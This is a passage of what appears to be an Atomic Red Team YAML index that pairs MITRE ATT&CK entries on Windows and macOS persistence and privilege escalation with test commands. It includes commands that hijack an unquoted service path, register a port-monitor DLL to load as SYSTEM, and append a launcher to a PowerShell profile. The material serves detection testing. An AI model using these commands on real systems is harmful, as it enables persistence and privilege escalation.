        source_name: SecurityBoulevard Unquoted Services APR 2018
      - url: https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
        description: McFarland, R. (2018, January 26). Windows Privilege Escalation
          Guide. Retrieved August 10, 2018.
        source_name: SploitSpren Windows Priv Jan 2018
      - url: http://msdn.microsoft.com/en-us/library/ms682425
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        source_name: Microsoft CreateProcess
      - url: http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
        description: Hill, T. (n.d.). Windows NT Command Shell. Retrieved December
          5, 2014.
        source_name: Hill NT Shell
      - url: http://msdn.microsoft.com/en-us/library/ms687393
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        source_name: Microsoft WinExec
      - url: https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
        description: Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.
        source_name: MSDN Environment Property
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      revoked: false
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-07-06T18:49:35.645Z'
      created: '2017-05-31T21:30:36.140Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_effective_permissions:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: "Monitor file creation for files named after partial directories
        and in locations that may be searched for common processes through the environment
        variable, or otherwise should not be user writable. Monitor the executing
        process for process executable paths that are named for partial directories.
        Monitor file creation for programs that are named after Windows system programs
        or programs commonly executed without a path (such as \"findstr,\" \"net,\"
        and \"python\"). If this activity occurs outside of known administration activity,
        upgrades, installations, or patches, then it may be suspicious. \n\nData and
        events should not be viewed in isolation, but as part of a chain of behavior
        that could lead to other activities, such as network connections made for
        Command and Control, learning details about the environment through Discovery,
        and Lateral Movement."
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_version: '1.0'
      x_mitre_deprecated: true
    atomic_tests: []
  T1574.007:
    technique:
      created: '2020-03-13T14:10:43.424Z'
      modified: '2020-09-16T16:56:34.583Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1574.007
        url: https://attack.mitre.org/techniques/T1574/007
      - external_id: CAPEC-13
        source_name: capec
        url: https://capec.mitre.org/data/definitions/13.html
      - external_id: CAPEC-38
        source_name: capec
        url: https://capec.mitre.org/data/definitions/38.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception by PATH Environment Variable
      description: |-
        Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

        The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

        For example, if <code>C:\example path</code> precedes </code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
      x_mitre_defense_bypassed:
      - Application control
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1574.008:
    technique:
      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
      name: Path Interception by Search Order Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.008
        url: https://attack.mitre.org/techniques/T1574/008
      - external_id: CAPEC-159
        source_name: capec
        url: https://capec.mitre.org/data/definitions/159.html
      - url: http://msdn.microsoft.com/en-us/library/ms682425
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        source_name: Microsoft CreateProcess
      - source_name: Windows NT Command Shell
        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
        description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
          December 5, 2014.
      - url: http://msdn.microsoft.com/en-us/library/ms687393
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        source_name: Microsoft WinExec
      - source_name: Microsoft Environment Property
        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
        description: Microsoft. (2011, October 24). Environment Property. Retrieved
          July 27, 2016.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:03:35.217Z'
      created: '2020-03-13T17:48:58.999Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1574.009:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.009
        url: https://attack.mitre.org/techniques/T1574/009
      - external_id: CAPEC-38
        source_name: capec
        url: https://capec.mitre.org/data/definitions/38.html
      - source_name: Microsoft CurrentControlSet Services
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved March 16, 2020.
      - source_name: Help eliminate unquoted path
        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved November 8, 2012.
      - source_name: Windows Unquoted Services
        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
      - source_name: Windows Privilege Escalation Guide
        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
          Retrieved August 10, 2018.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception by Unquoted Path
      description: |-
        Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

        Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

        This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:05:23.755Z'
      created: '2020-03-13T13:51:58.519Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
      identifier: T1574.009
    atomic_tests:
    - name: Execution of program.exe as service with unquoted service path
      auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f
      description: |
        When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
        known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
        In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
      supported_platforms:
      - windows
      input_arguments:
        service_executable:
          description: Path of the executable used for the service and as the hijacked
            program.exe
          type: Path
          default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe
      executor:
        command: |
          copy #{service_executable} "C:\Program Files\windows_service.exe"
          copy #{service_executable} "C:\program.exe"
          sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
          sc start "Example Service"
        cleanup_command: |
          sc stop "Example Service" >nul 2>&1
          sc delete "Example Service" >nul 2>&1
          del "C:\Program Files\windows_service.exe" >nul 2>&1
          del "C:\program.exe" >nul 2>&1
          del "C:\Time.log" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1547.011:
    technique:
      created: '2020-01-24T20:02:59.149Z'
      modified: '2021-03-30T00:51:59.629Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1547.011
        url: https://attack.mitre.org/techniques/T1547/011
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
          11, 2017.
        source_name: Adding Login Items
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        source_name: Malware Persistence on OS X
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Plist Modification
      description: "Adversaries may modify plist files to run a program during system
        boot or user login. Property list (plist) files contain all of the information
        that macOS and OS X uses to configure applications and services. These files
        are UTF-8 encoded and formatted like XML documents via a series of keys surrounded
        by < >. They detail when programs should execute, file paths to the executables,
        program arguments, required OS permissions, and many others. plists are located
        in certain locations depending on their purpose such as <code>/Library/Preferences</code>
        (which execute with elevated privileges) and <code>~/Library/Preferences</code>
        (which execute with a user's privileges). \n\nAdversaries can modify plist
        files to execute their code as part of establishing persistence. plists may
        also be used to elevate privileges since they may execute in the context of
        another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for
        execution at login is <code>com.apple.loginitems.plist</code>.(Citation: Methods
        of Mac Malware Persistence) Applications under this plist run under the logged
        in user's context, and will be started every time the user logs in. Login
        items installed using the Service Management Framework are not visible in
        the System Preferences and can only be removed by the application that created
        them.(Citation: Adding Login Items) Users have direct control over login items
        installed using a shared file list which are also visible in System Preferences
        (Citation: Adding Login Items). Some of these applications can open visible
        dialogs to the user, but they don’t all have to since there is an option to
        \"hide\" the window. If an adversary can register their own login item or
        modified an existing one, then they can use it to execute their code for a
        persistence mechanism each time the user logs in (Citation: Malware Persistence
        on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled</code>
        can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002)
        can do this as well. (Citation: Adding Login Items)"
      id: attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.

        All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)

        Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - macOS
      identifier: T1547.011
    atomic_tests:
    - name: Plist Modification
      auto_generated_guid: 394a538e-09bb-4a4a-95d1-b93cf12682a8
      description: 'Modify MacOS plist file in one of two directories

'
      supported_platforms:
      - macos
      executor:
        steps: |
          1. Modify a .plist in

              /Library/Preferences

              OR

              ~/Library/Preferences

          2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md)
        name: manual
  T1547.010:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.010
        url: https://attack.mitre.org/techniques/T1547/010
      - url: http://msdn.microsoft.com/en-us/library/dd183341
        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
          2014.
        source_name: AddMonitor
      - url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
          slides&#93;. Retrieved November 12, 2014.
        source_name: Bloxham
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Port Monitors
      description: "Adversaries may use port monitors to run an attacker supplied
        DLL during system boot for persistence or privilege escalation. A port monitor
        can be set through the <code>AddMonitor</code> API call to set a DLL to be
        loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code>
        and will be loaded by the print spooler service, spoolsv.exe, on boot. The
        spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham)
        Alternatively, an arbitrary DLL can be loaded if permissions allow writing
        a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
        \n\nThe Registry key contains entries for the following:\n\n* Local Port\n*
        Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this
        technique to load malicious code at startup that will persist on system reboot
        and execute as SYSTEM."
      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-01-24T19:46:27.750Z'
      created: '2020-01-24T19:46:27.750Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_detection: "Monitor process API calls to <code>AddMonitor</code>.(Citation:
        AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are
        abnormal. New DLLs written to the System32 directory that do not correlate
        with known good software or patching may be suspicious. \n\nMonitor Registry
        writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
        Run the Autoruns utility, which checks for this Registry key as a persistence
        mechanism (Citation: TechNet Autoruns)"
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_contributors:
      - Stefan Kanthak
      - Travis Smith, Tripwire
      x_mitre_platforms:
      - Windows
      identifier: T1547.010
    atomic_tests:
    - name: Add Port Monitor persistence in Registry
      auto_generated_guid: d34ef297-f178-4462-871e-9ce618d44e50
      description: Add key-value pair to a Windows Port Monitor registry. On the subsequent
        reboot dll will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.
      supported_platforms:
      - windows
      input_arguments:
        monitor_dll:
          description: Addition to port monitor registry key. Normally refers to a
            DLL name in C:\Windows\System32. arbitrary DLL can be loaded if permissions
            allow writing a fully-qualified pathname for that DLL.
          type: Path
          default: C:\Path\AtomicRedTeam.dll
      executor:
        command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\ART"
          /v "Atomic Red Team" /d "#{monitor_dll}" /t REG_SZ

'
        cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\ART"
          /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1055.002:
    technique:
      created: '2020-01-14T01:27:31.344Z'
      modified: '2020-11-10T18:29:30.882Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662
      description: "Adversaries may inject portable executables (PE) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        PE injection is a method of executing arbitrary code in the address space
        of a separate live process. \n\nPE injection is commonly performed by copying
        code (perhaps without a file on disk) into the virtual address space of the
        target process before invoking it via a new thread. The write can be performed
        with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> or additional code (ex:
        shellcode). The displacement of the injected code does introduce the additional
        requirement for functionality to remap memory references. (Citation: Elastic
        Process Injection July 2017) \n\nRunning code in the context of another process
        may allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via PE injection may also evade detection from
        security products since the execution is masked under a legitimate process. "
      name: Portable Executable Injection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055.002
        url: https://attack.mitre.org/techniques/T1055/002
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
    atomic_tests: []
  T1546.013:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.013
        url: https://attack.mitre.org/techniques/T1546/013
      - source_name: Microsoft About Profiles
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
          14, 2019.
      - source_name: ESET Turla PowerShell May 2019
        url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
          usage. Retrieved June 14, 2019.
      - source_name: Wits End and Shady PowerShell Profiles
        url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
      - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
        source_name: Malware Archaeology PowerShell Cheat Sheet
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: PowerShell Profile
      description: "Adversaries may gain persistence and elevate privileges by executing
        malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>)
        is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001)
        supports several profiles depending on the user or host program. For example,
        there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        host programs such as the PowerShell console, PowerShell ISE or Visual Studio
        Code. An administrator can also configure a profile that applies to all users
        and host programs on the local computer. (Citation: Microsoft About Profiles)
        \n\nAdversaries may modify these profiles to include arbitrary commands, functions,
        modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        session the modified script will be executed unless the <code>-NoProfile</code>
        flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
        \n\nAn adversary may also be able to escalate privileges if a script in a
        PowerShell profile is loaded and executed by an account with higher privileges,
        such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)"
      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-24T21:31:31.082Z'
      created: '2020-01-24T15:11:02.758Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:

        * <code>$PsHome\Profile.ps1</code>
        * <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code>
        * <code>$Home\My Documents\PowerShell\Profile.ps1</code>
        * <code>$Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>

        Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_contributors:
      - Allen DeRyke, ICE
      x_mitre_platforms:
      - Windows
      identifier: T1546.013
    atomic_tests:
    - name: Append malicious start-process cmdlet
      auto_generated_guid: '090e5aa5-32b6-473b-a49b-21e843a56896'
      description: 'Appends a start process cmdlet to the current user''s powershell
        profile pofile that points to a malicious executable. Upon execution, calc.exe
        will be launched.

'
      supported_platforms:
      - windows
      input_arguments:
        exe_path:
          description: Path the malicious executable
          type: Path
          default: calc.exe
        ps_profile:
          description: Powershell profile to use
          type: String
          default: "$profile"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Ensure a powershell profile exists for the current user

'
        prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1}

'
        get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force

'
      executor:
        command: |
          Add-Content #{ps_profile} -Value ""
          Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
          powershell -Command exit
        cleanup_command: |
          $oldprofile = cat $profile | Select-Object -skiplast 1
          Set-Content $profile -Value $oldprofile
        name: powershell
  T1547.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.012
        url: https://attack.mitre.org/techniques/T1547/012
      - source_name: Microsoft AddPrintProcessor May 2018
        url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
          October 5, 2020.
      - source_name: ESET PipeMon May 2020
        url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
          Group. Retrieved August 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Print Processors
      description: "Adversaries may abuse print processors to run malicious DLLs during
        system boot for persistence and/or privilege escalation. Print processors
        are DLLs that are loaded by the print spooler service, spoolsv.exe, during
        boot. \n\nAdversaries may abuse the print spooler service by adding print
        processors that load malicious DLLs at startup. A print processor can be installed
        through the <code>AddPrintProcessor</code> API call with an account that has
        <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor
        can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet
        or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture:
        e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry
        key that points to the DLL. For the print processor to be correctly installed,
        it must be located in the system print-processor directory that can be found
